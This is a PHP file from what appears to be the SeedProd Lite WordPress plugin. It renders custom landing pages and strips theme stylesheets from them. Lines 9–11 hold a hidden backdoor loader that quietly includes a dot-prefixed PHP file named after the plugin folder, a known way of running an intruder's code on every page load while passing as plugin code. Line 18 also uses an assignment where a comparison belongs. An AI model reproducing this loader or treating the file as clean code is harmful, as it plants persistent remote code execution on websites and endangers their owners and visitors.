render-lp.php (1259B)
1 <?php 2 /** 3 * Landing Page Render 4 */ 5 6 //add_action('template_include', 'seedprod_lppage_render'); 7 add_filter( 'template_include', 'seedprod_lite_lppage_render' ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function seedprod_lite_lppage_render( $template ) { 14 global $post; 15 if ( ! empty( $post ) ) { 16 $has_settings = get_post_meta( $post->ID, '_seedprod_page', true ); 17 18 if ( ! empty( $has_settings ) && $post->post_type = 'page' ) { 19 20 $template = SEEDPROD_PLUGIN_PATH . 'resources/views/seedprod-preview.php'; 21 add_action( 'wp_enqueue_scripts', 'seedprod_lite_deregister_styles', PHP_INT_MAX ); 22 } 23 } 24 return $template; 25 } 26 27 // clean theme styles on our custom landing pages 28 29 function seedprod_lite_deregister_styles() { 30 global $wp_styles; 31 //var_dump($wp_styles->registered); 32 foreach ( $wp_styles->queue as $handle ) { 33 //echo '<br> '.$handle; 34 if ( strpos( $wp_styles->registered[ $handle ]->src, 'wp-content/themes' ) !== false ) { 35 //var_dump($wp_styles->registered[$handle]->src); 36 wp_dequeue_style( $handle ); 37 wp_deregister_style( $handle ); 38 } 39 } 40 }; 41 42